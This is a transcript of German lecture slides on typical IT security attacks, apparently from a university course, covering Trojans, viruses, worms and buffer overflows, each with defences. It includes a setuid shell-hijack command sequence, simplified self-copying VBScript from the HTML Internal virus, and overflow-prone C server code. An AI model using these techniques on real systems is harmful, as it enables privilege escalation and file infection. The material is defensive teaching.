ITS-2

Transcrição

ITS-2
2 Typische Angriffe
nutzen technische oder menschliche Schwachstellen aus

Dateischutz umgehen

Passwort knacken

Trojanisches Pferd

Viren

Würmer

Software-Schwachstellen
. . . weitere, insbesondere im Netz
(Spoofing, Botnetze, ...)
ITS-2
1
2.1 Dateischutz umgehen
Techniken:
manuell oder programmgesteuert nach
schlecht geschützten Dateien suchen
Schaden:
Dateizugriffe (Lesen, Schreiben, Ausführen, ...),
die vom Eigner eigentlich nicht gewünscht sind
Schutz:
- Kenntnisreicher (!) und sorgfältiger Umgang
des Eigners mit den zur Verfügung stehenden
Schutzmechanismen
- Zwangsmaßnahmen des Sicherheitsadministrators
(z.B. regelmäßiges Suchen nach Schwachstellen)
ITS-2
2
Beispiel (Unix, ältere Version): Shell mit fremder UID ausführen:
Pohl empfiehlt der Öffentlichkeit sein setuid-Programm
cool, hat aber aus Versehen das Schreibrecht nicht gelöscht
-rwsrwxrwx 1 pohl
inst
512 Feb 10 12:01 cool
Der Angreifer macht
> cp /bin/sh ~pohl/cool
> ~pohl/cool
und hat hier eine Shell mit Pohls Autorisierung !
%
(neuere Unix-Versionen: beim Überschreiben von cool
wird setuid-Bit stillschweigend gelöscht)
ITS-2
3
2.2 Passwort knacken
Techniken:
- gezieltes Raten
- Wörterbuchangriff
- „phishing“
- „social engineering”
Schaden:
Zugang zu Rechner (oder anderer Ressource)
mit allen Rechten des Passwort-Eigners
und allen daraus entstehenden Folgeschäden
Schutz:
-
ITS-2
Passwörter nur „im Gehirn notieren“
lange und kryptische Passwörter wählen
Passwörter häufig wechseln
Einmal-Passwörter
Wiederholversuche behindern
„phishing awareness“
4
2.3 Trojanisches Pferd
Technik:
ITS-2
Dem Benutzer wird ein Programm untergeschoben,
das neben nützlicher Funktionalität auch
nicht dokumentierte, schädliche Funktionen
enthält und diese unbemerkt ausführt; z.B.

Programm verhält sich wie normaler Editor,
leitet aber heimlich die eingegebenen Daten
auch an den Angreifer weiter.

Java-Bibliotheksklasse befragt bei jeder
Benutzung eine geheime Webseite des
Angreifers, ob eine Sabotage-Maßnahme
durchgeführt werden soll.

Ferngesteuertes Programm !
5
Schaden:
Geheime Schadsoftware wird mit den Rechten
des Benutzers ausgeführt, was ein Vielzahl von
Folgeschäden verursachen kann.
Schutz:
- keine Benutzung dubioser Programme aus
dem Netz, von fremden Datenträgern etc.
- kryptographisch signierter Code
- Beschränkung der Zugriffsrechte für
fremde Programme
- (automatische Flussanalyse fremder Programme)
 Trojanische Pferde gehören zu den
großen Herausforderungen in der IT-Sicherheit !
ITS-2
6
Beispiel: Herrn Pohl ein Trojanisches Pferd unterschieben
- unter Umgehung des Dateischutzes
% ll ~pohl
-rw-r----- 1 pohl
drwxr-x--x 1 pohl
.....
inst
inst
4711 Feb 29 12:34 memo
512 Feb 10 12:01 bin
Leider ist bin nicht lesbar.
% ~pohl/bin/hello
Hello world!
Ein Versuch . . .
. . . erfolgreich.
% cp trojan ~pohl/bin/hello
Noch ein Versuch . . .
. . . erfolgreiches Installieren
eines Trojanischen Pferdes
%
(cp ändert nur den Inhalt der Zieldatei, nicht deren Schutzstatus)
ITS-2
7
Rootkit
ITS-2

ist Sammlung von Trojanischen Pferden im Bereich
Systemprogramme und Bibliotheksroutinen,

vom Angreifer untergeschoben nach Unterwanderung
des Systems, typischerweise unter Ausnutzung von
Software-Schwachstellen ( 2.6),

in der Folge vom Angreifer für die komfortable
Unterstützung weiterer Angriffe benutzt.
8
Achtung! Trojanischer Code kann auch in Daten eingebettet sein.
Beispiel 1: MS-Office-Dokumente: Makrocode

Aktionsfolgen zur Dokumentbearbeitung können in Makro
programmiert werden - auslösbar z.B. mit Funktionstaste,

oder beim Öffnen eines Dokuments.

Makrosprache hat Mächtigkeit einer Programmiersprache
(bei Word: VBA – Visual Basic for Applications,
oder VBS - Visual Basic Script, nicht nur für Word) !
Schutz:
ITS-2
wie bei Trojanischen Pferden,
ferner gestuftes Abblocken von Makros einstellbar,
ggfls. mit Warnung des Benutzers
9
Sicherheitsstufen in MS Office
ITS-2
10
Beispiel 2: mobiler Code in Web-Seiten

kann unbemerkt ausgeführt werden, wenn die Seite geladen wird.

z.B. interpretierter Code: Javascript, Java Applets, VBScript, ...

oder Binärcode wie ActiveX Controls, ...
Schutz:
ITS-2
wie bei Makro-Code,
zzgl. differenzierte Rechte-Einschränkung
11
Sicherheitsstufen bei Apple Safari
ITS-2
12
Sicherheitsstufen bei Firefox
ITS-2
13
Sicherheitsstufen beim Explorer
ITS-2
14
2.4 Viren
Ein Virus (vom medizinischen „das Virus“ ) ist Code,

der vom Angreifer in ursprünglich korrekte Programme
eingebaut wird,

bei jedem Start* eines so infizierten Wirtsprogramms
unbemerkt mitausgeführt wird,

dabei weitere Programme in der gleichen Weise infiziert

und – mehr oder weniger – Unheil anrichtet.
 Infiziertes Programm ist spezielles Trojanisches Pferd
mit der Eigenschaft, auch andere Programme
zu solchen Trojanischen Pferden zu machen.
ITS-2
* d.h. Benutzeraktivität ist Voraussetzung!
15
Technik:
Aufbau eines Virus:
Erkennungsteil:
erkennt bereits infizierte Programme
Infektionsteil:
infiziert noch nicht infizierte Programme
Schadensteil:
enthält die Schadensfunktion
Bedingungsteil:
enthält Bedingungen für die genannten Aktivitäten
Tarnungsteil:
erschwert die Erkennung
Schaden:
Geheime Schadsoftware wird mit den Rechten
des Benutzers ausgeführt, was ein Vielzahl von
Folgeschäden verursachen kann (wie Troj. Pferd)
- inklusive Weiterverbreitung.
Schutz:
- wie bei Trojanischen Pferden
- ferner Integritätssicherung von Dateien
- ferner Einsatz von Virenschutz-Software,
die weiß, wie bekannte (!) Viren aussehen
und daher entsprechend warnen kann.
ITS-2
16
Typische Programmstruktur im Binärcode (vereinfacht)
gesund
0
1
JUMP START
START
4710
ITS-2
17
Typische Programmstruktur im Binärcode (vereinfacht)
gesund
0
1
JUMP START
infiziert
0
1
START
START
4710
4710
JUMP 4711
4711
Virus
JUMP START
ITS-2
18
Arten von Viren:
– Datei-Viren: infizieren ausführbare Dateien
– Boot-Viren: infizieren den Boot-Sektor von Boot-Medien
(bei gut gesicherten Betriebssystemen heute kein Problem mehr)
– ... auch in Kombination (multipartite virus)
- ... weitere Varianten ...
- Makro-Viren:
nicht Binärprogramme werden infiziert,
sondern Skript-Code in Dokumenten.
ITS-2
Beispiele:
19
Beispiel 1: Makros in Word (prominent: Melissa, 1999):

Virus wird beim Öffnen eines infizierten Dokuments
unbemerkt aktiviert und infiziert andere Dokumente.

Verbreitung auf Windows-Systemen im Netz vor allem
durch „attraktive“ E-mail (unter Benutzung des
Outlook-Adressbuchs!).
ITS-2
20
Beispiel 2: VBS-Virus in Web-Dokumenten (prominent: HTML Internal):
Lokale infizierte Webseite infiziert alle .html- und .htm-Dateien
im lokalen Verzeichnis und in allen darüberliegenden Verzeichnissen.

Beim Laden einer infizierten Webseite wird das VBS-Skript
gestartet:
<body OnLoad=“CheckIt();“>

lokale Webseite?
<script language=“VBScript“>
<! -Sub CheckIt
If location.protocol = “file:“
then Call IsFile
End Sub
ITS-2
21

eigentliche Virus-Aktivität:
erzeuge Dateisystemobjekt zum Zugriff aufs Dateisystem:
Sub IsFile
Set fso = CreateObject(“Script.FileSystemObject“)
erzeuge Windows-Verzeichnispfad:
HostPath = Replace(location.href, "file:///", ““)
HostPath = Replace(HostPath, “/“, “\“)
ermittle Vaterverzeichnis des aktuellen Verzeichnisses:
cpath = fso.GetParentFolderName(HostPath)
folder = fso.GetFolder(cpath)
ITS-2
22
infiziere:
While folder.IsRootFolder = false
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
folder = fso.GetFolder(cpath)
For each f1 in fc
s = fso.GetExtensionName(f1.name)
If f1.path <> HostPath then
If s = “htm“ or s = “html“ then
fso.CopyFile(HostPath,f1.path)
End If
Wend
End Sub
vereinfacht: ganze Datei ersetzen
-->
</script>
ITS-2
23
Wie gefährlich ist HTML Internal?
 Die Originalversion benutzt auch ActiveX und funktioniert somit nur unter dem Explorer.
ITS-2

Der Explorer erlaubt das Ändern lokaler Dateien
nur bei Einstellung einer niedrigen Sicherheitsstufe.

(HTML Internal war ursprünglich ohnehin nur ein
Demonstrationsobjekt.)
24
Maßnahmen von Viren, um unentdeckt zu bleiben:
– Stealth-Viren
• befallen lieber große Dateien als kleine, da
Größenänderung weniger auffällig
• klinken sich in den Überwachungsprozess von Viren ein,
z.B. Anti-Viren-Software: Verwischen von Spuren oder
Vorspiegeln falscher Informationen.
– Polymorphe Viren
• Selbstveränderung des Viren-Codes
– Retro-Viren
• bekämpfen aktiv Anti-Viren-Programme
ITS-2
25
Nährboden für Viren:

starke Aktivität am Rechner
(Programmausführung)

Systeme ohne oder mit schwachen Schutzmechanismen
(z.B. MS-DOS, frühe Windows-Versionen)
 Nachlässiger Umgang mit vorhandenen Schutzmechanismen
(Sicherheitsstufen, Warnmeldungen)
 System-Monokultur
(z.B. Windows für PCs)
 Einschleppen durch Programme/Daten dubioser Herkunft
(zur Erinnerung: infizierte Programme bzw.
Dokumente sind Trojanischen Pferde!)
ITS-2
26
2.5 Würmer
Wurm = Programm, das sich über das Netz fortpflanzt,
entweder selbsttätig (prominent: Internet Worm, Morris 1988)
oder als Anhängsel von E-mails (prominent: Love Letter, 2000).
! Benötigt kein Wirtsprogramm !
(d.h. Wurm ≠ Trojanisches Pferd)
Beachte:
Virus infiziert lokale Programme oder Dokumente
Wurm infiziert entfernte Rechner (Netzsicherheit!)
ITS-2
27
Techniken:
 Nutzung von Diensten zur Fernausführung von Programmen,
(z.B. Unix rsh – ist i.a. aber gut geschützt, s.u.)
 Sicherheitslücken in Internet Daemons
(z.B. offengelassene Debug Option in sendmail führt zur
Annahme und Ausführung von Shell-Befehlen)
 Ausnutzung von Implementierungsschwächen
von Systemsoftware (  2.6)
 Skripte als Anlagen zu E-mails (z.B. in VBS geschrieben),
Öffnung führt zu weiterer Verbreitung
(z.B. mittels Adressdatei)
ITS-2
28
Schaden:
Wurm wird mit den Rechten eines Systemprozesses
ausgeführt und kann daher weitreichende Schäden
anrichten. Gut geeignet für verteiltes Einschränken
von Verfügbarkeit (distributed denial of service, DDoS)
Schutz:
- restriktive Autorisierung der bedrohten Prozesse
- restriktive Öffnung von Ports
- Einsatz von Firewalls
- patches einspielen
ITS-2
29
Auswahl:
• MyDoom, Januar 2004
– Verteiltes DoS auf Microsoft und SCO
– bisher schnellste Ausbreitung
– verbreitet über E-mail und peer-to-peer
• Sobig Worm, August 2003
– Verbreitung über E-Mail-Anlagen
– Benutzt eigene SMTP-Engine zur Replikation
• SQL Slammer, Januar 2003
– Microsoft SQL 2000
– Puffer-Überlauf (Keller und Halde, 2.6)
• Code Red, Juli 2001
– Index-Dienst des Microsoft Internet Information Server
(IIS)
– Puffer-Überlauf in Idq.dll
•
ITS-2
http://en.wikipedia.org/wiki/Notable_computer_viruses_and_worms
30
2.6 Software-Schwachstellen
Das klassische Beispiel: Puffer-Überlauf (buffer overflow)
Def.: Programmiersprache heißt unsicher (unsafe),
wenn Programmfehler die Speicherverwaltung stören können.
(chaotisches Programmverhalten, Absturz mit
„Bus Error“, „Segmentation Fault“ u.ä. )
Beispiele: ungültige Verweise in Pascal/Modula,
zusätzlich Feldgrenzenüberschreitung in C/C++
ITS-2
31
Beispiel aus der Unix-C-Bibliothek:
SYNOPSIS
#include <stdio.h>
char *gets(char *s);
char *fgets(char *s, int n, FILE *stream);
DESCRIPTION
The gets() function reads characters from the standard input stream (see intro(3)),
stdin, into the array pointed to by s, until a newline character is read or an end-of-file
condition is encountered. The newline character is discarded and the string is
terminated with a null character.
The fgets() function reads characters from the stream into the array pointed to by s,
until n-1 characters are read, or a newline character is read and transferred to s, or
an end-of-file condition is encountered. The string is then terminated with a null
character.
When using gets(), if the length of an input line exceeds the size of s,
indeterminate behavior may result. For this reason, it is strongly recommended
that gets() be avoided in favor of fgets().
ITS-2
32
! Noch mehr gefährliche Funktionen:
Standard C Library Functions
string(3C)
NAME
string, strcasecmp, strncasecmp, strcat, strncat, strlcat,
strchr, strrchr, strcmp, strncmp, strcpy, strncpy, strlcpy,
strcspn, strspn, strdup, strlen, strpbrk, strstr, strtok,
strtok_r - string operations
DESCRIPTION
The arguments s, s1, and s2 point to strings (arrays of characters
terminated by a null character). The strcat(), strncat(), strlcat(),
strcpy(), strncpy(), strlcpy(), strtok(), and strtok_r() functions all
alter their first argument. These functions do not check for overflow of
the array pointed to by the first argument.
ITS-2
33
Standard C Library Functions
printf(3C)
NAME
printf, fprintf, sprintf, snprintf - print formatted output
DESCRIPTION
The sprintf() function places output, followed by the null byte
(\0), in consecutive bytes starting at s; it is the user's
responsibility to ensure that enough storage is available.
ITS-2
34
Anwendung von gets z.B. so:
char line[100];
. . .
gets(line);
und der Programmierer vergisst, längere Zeilen (länger als 100)
als fehlerhaft abzufangen !
 bei längeren Zeilen wird der Keller beschädigt oder von einem Angreifer gezielt modifiziert !
 typischer Angriff:
ITS-2
35
Typischer Angriff:
 Dienst benutzen, dessen Programm den obigen Code enthält.
 Keller durch planmäßig konstruierte Eingabe so manipulieren,
dass Rücksprungadresse umgesetzt wird,
 und zwar auf diejenige Adresse im Keller, auf der mit  eingeschleuster Code steht (der weiteren Code nachzieht!);
 Effekt: Ursprünglicher Dienst ist mit Code des Angreifers
infiziert, d.h. der Schadcode läuft mit der Autorisierung
des Angegriffenen.
(So praktiziert beim Internet Worm unter Benutzung des fingerd daemon!)
ITS-2
36
Einfaches Beispiel 1
ohne Einschleusung von Code
Parameter main
argc, argv
void function (char *args ){
char buff2[4] = “ABC“;
char buff1[4];
strcpy(buff1,args);
}
int main( int argc, char *argv[]) {
if (argc >1)
function(argv[1]);
else
printf(“Kein Argument!“);
}
Parameter funct
args
Rücksprungadr.
aus function
lokale Variable
buff2
lokale Variable
buff1
(Keller wächst im Speicher von oben nach unten)
ITS-2
37
höhere Adressen
Rücksprungadr.
aus main
Beispiel:
einen Netzdienst abschießen
(denial of service)
int main(int argc, char *argv[])
{
char
line[64];
...
... // initialize server
...
for ( ; ; ) {
connfd = accept( listenfd, (SA *) NULL, NULL);
write( connfd, "Eingabe: ", 9);
n = read( connfd, line, sizeof (line) -1 );
line[n] = 0;
serve( line );
close( connfd );
}
}
ITS-2
38
void serve(char *str)
{
char buff[24];
strcpy(buff, str);
printf("buff: %s\n", buff);
}
 Eingaben,
die länger als 23 Bytes sind,
zerstören während der Ausführung
von strcpy die Rücksprungadresse
- und bringen den Server zum Absturz
ITS-2
39
Schaden:
Schadcode wird mit den Rechten des angegriffenen
Prozesses ausgeführt und kann daher - je nach dessen
Autorisierung - mäßige bis große Schäden verursachen.
Schutz:
- Sichere Programmiersprachen!!
- Keller-Segment ohne "execute"-Rechte
(Solaris; OpenBSD 3.2; Linux: OpenWall, PaX)
(verhindert allerdings nicht den Überlauf als solchen)
- Andere Keller-Organisation, Hüllen für die unsicheren
Funktionen, alle möglichen Tricks …
- restriktive Autorisierung der bedrohten Prozesse
- restriktive Öffnung von Ports
- (im Netz:) Einsatz von Firewalls
- patches einspielen
ITS-2
(vgl. Würmer)
40
Ferner:
 ! Halde muss auch geschützt werden !
 Weitere Arten von Schwachstellen …
… siehe Kapitel Security Engineering
ITS-2
41